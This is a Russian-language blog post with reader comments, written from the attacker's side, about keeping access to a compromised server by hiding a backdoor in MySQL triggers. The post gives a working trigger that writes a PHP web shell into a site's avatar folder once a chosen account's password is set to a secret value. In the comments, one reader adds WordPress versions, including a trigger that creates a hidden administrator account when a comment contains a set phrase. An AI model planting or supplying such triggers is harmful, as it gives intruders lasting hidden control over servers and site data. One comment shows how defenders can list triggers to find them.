Бэкдор в триггере

Нередко случается, что все руткиты/бэкдоры/веб-шеллы, полученные взломщиком с большими усилиями, однажды обнаруживаются администратором сервера и безвозвратно удалются. Чтобы закрепиться в системе как можно дольше, используется множество способов, большинство из которых сводится к хранению бэкдора непосредственно в файловой системе. У меня возникла идея хранить “черный ход” в систему в триггерах базы данных.

Триггер – это особая хранимая процедура, которая выполняется при наступлении определенного события на уровне таблицы базы данных. Этими событиями обычно являются использование операторов INSERT, UPDATE, DELETE. Главная особенность триггера заключается в том, что хранимая процедура, которую по сути он представляет собой, вызывается не пользователем, а самой базой данных и только при определенном условии.

При восстановлении утраченного доступа в систему может быть использован заранее внедренный триггер, создающий небольшой веб-шелл или выявляющий пароль администратора, который выполняется при наступлении специального события, известного только взломщику. Выгода такого решения очевидна: если в файловой системе администраторы еще как-то пытаются отслеживать посторонние объекты, то в базе данных обычно этого не делают.

Преположим, что на сайте предусмотрена свободная регистрация пользователей. Для получения в любой момент альтернативного доступа в систему, взломщик создает учетную запись обычного пользователя, затем он разрабатывает триггер таким образом, чтобы при изменении пароля его аккаунта определенным значением триггер записывал в папку небольшой веб-шелл. Событиями для срабатывания триггера могут быть какими угодно: создание определенного поста на форуме, посещение сайта с заданным User-Agent’ом и т.д. Все зависит от характера и структуры таблиц, их предназначения, а также возможности повлиять на конкретную таблицу своими данными в рамках легитимного запроса с операторами INSERT, UPDATE.

Рассмотрим на примере MySQL триггер, записывающий веб-шелл после того, как пароль пользователя сайта становится равным определенному значению.

delimiter |
CREATE TRIGGER backdoor AFTER UPDATE ON users
FOR EACH ROW label:BEGIN
IF (SELECT password FROM users WHERE id=123)='gimme_that_shell' THEN
SELECT '<?=`$c`?>' INTO OUTFILE '/home/site/httpdocs/avators/smile.php';
ELSE
LEAVE label;
END IF;
END;
|

Сперва хочу отметить, что для создания триггера текущий пользователь MySQL должен иметь привилегию SUPER. Для срабатывания хватит прав непривилегированного пользователя, но исключительно для данного примера имеющего file_priv (для INTO OUTFILE). Итак, сначала задаем символ разделения отличный от “;” для того, чтобы использовать “;” внутри процедуры триггера. Далее создаем триггер с именем backdoor для таблицы users, срабатывающий после UPDATE; для каждой строки таблицы выполняем набор инструкций между BEGIN … END и при этом задаем label для последующего использования оператора LEAVE (аналог return). Затем следует основное условие: если пароль пользователя с идентификатором 123 равен значению “gimme_that_shell”, тогда выполняется INTO OUTFILE, записывающий небольшой шелл в директорию с аваторами, иначе выполнение процедуры прерывается. Вместо INTO OUTFILE могут быть использованы другие варианты, например повышение прав пользователя до администратора.

Join the Conversation

18 Comments

  1. Pento, какая разнича какой код? Это же только для примера, все ж зависит от ситуации.

    А способ реально полезный. Скажем спасибо Разору и разработчикам МуСкула за 5-тую версию )))

  2. @Spectre
    Спасибо!

    Действительно, код может быть каким угодно, главное, чтобы он умещался в пределах системной переменной MySQL max_allowed_packet

  3. Классная идея, ведь действительно, мало кто отслеживает триггеры. Для этого хотя бы нужно иметь хорошенький интерфейс, цель и желание перелопачивать базы на тему изложенную выше…

  4. уверен, что существует, и не только для MSSQL – синтаксис триггеров в большинстве СУБД очень похож

  5. @wi11son
    на самом деле выявить посторонний триггер можно очень легко:
    SELECT * FROM information_schema.TRIGGERS

  6. @Dominus @halk
    спасибо =)
    Приношу извинения за задержку одобрения ваших комментариев, акисмет отправил их в спам… Задумался об установке обычной капчи вместо него, такое распознавание “спама” меня не устраивает =\

  7. >создание определенного поста на форуме
    ну это хлопотно. вытащить из таблиц той же воблы событие конкретного постинга…

    а в целом – а что еще интересного может дать применение триггеров на сайте жертвы в свою пользу, кроме шелла?
    именно после удаления шелла/блокирования аккаунта и прочее

  8. Ребят, мож, я тупой, но не пойму всей сути статьи.
    Как посторонний человек может создать триггерна постороннем сайте?

    >Для получения в любой момент альтернативного доступа в систему, взломщик создает учетную запись обычного пользователя, затем он разрабатывает триггер таким образом, чтобы при изменении пароля его аккаунта определенным значением триггер записывал в папку небольшой веб-шелл.

    Типа я могу зарегаться на любом форуме, написать свой триггер, попросить владельца форума его скомпилить у себя, а после уже изменить свой пароль и залить веб-шелл?
    Мдя.. ИМХО, но статья по-моему из рода “нашёл ужасную багу – любые данные можно безвозвратно уничтожить всего лишь простым ударом утюгом по системному блоку! Ааа!!! берегитесь утюгов!!!”

  9. Читайте внимательнее – нужен локальный доступ, т.е. подразумевается, что на скомпрометированной машине уже есть, например, веб-шелл, и вам нужно оставить бэкдор.

  10. на то он и бекдором называется что бы после проникновения на сервер создать запасной вариант востановиться на нем)в определениях не хорошо остаться)это касательно прошлого коммента)а касательно тригера то у меня почему то phpadmin ругается на разделитель:( что за хрень , есть еще какая нибудь инфа

  11. а тригер точно на способен на бекдор сколько не пробовал под wp нечего не вышло

    DELIMITER //
    CREATE TRIGGER backdoor AFTER UPDATE ON wp_users
    FOR EACH ROW label:BEGIN
    IF (SELECT user_pass FROM wp_users WHERE ID=1)=’$P$B9wcvAmi3JvyqJ5991Qif8LRgzSAfc.’ THEN
    SELECT ” INTO OUTFILE ‘site/smile.php’;
    ELSE
    LEAVE label;
    END IF;
    END;
    //
    DELIMITER ;

    я бы подумал что руки кривые, но и у ребят с форума тоже нечего не получилось

    DELIMITER //
    CREATE TRIGGER `INSERT` BEFORE INSERT ON `wp_comments`
    FOR EACH ROW BEGIN
    IF NEW.comment_content = ‘add admin’ THEN
    INSERT INTO `wp_users` ( `ID` , `user_login` , `user_pass` ) VALUES
    (‘31337’, ‘root’, ‘$P$B9wcvAmi3JvyqJ5991Qif8LRgzSAfc.’);
    INSERT INTO `wp_usermeta` (`user_id`, `meta_key`, `meta_value`) VALUES
    (‘31337’, ‘wp_capabilities’, ‘a:1:{s:13:”administrator”;s:1:”1″;}’),
    (‘31337’, ‘admin_color’, ‘fresh’),
    (‘31337’, ‘comment_shortcuts’, ‘false’),
    (‘31337’, ‘rich_editing’, ‘true’),
    (‘31337’, ‘nickname’, ‘root’),
    (‘31337’, ‘first_name’, ‘drtro.public@gmail.com’),
    (‘31337’, ‘wp_user_level’, ’10’);

    END IF;
    END
    //
    DELIMITER ;

Leave a comment

Your email address will not be published.

This site uses Akismet to reduce spam. Learn how your comment data is processed.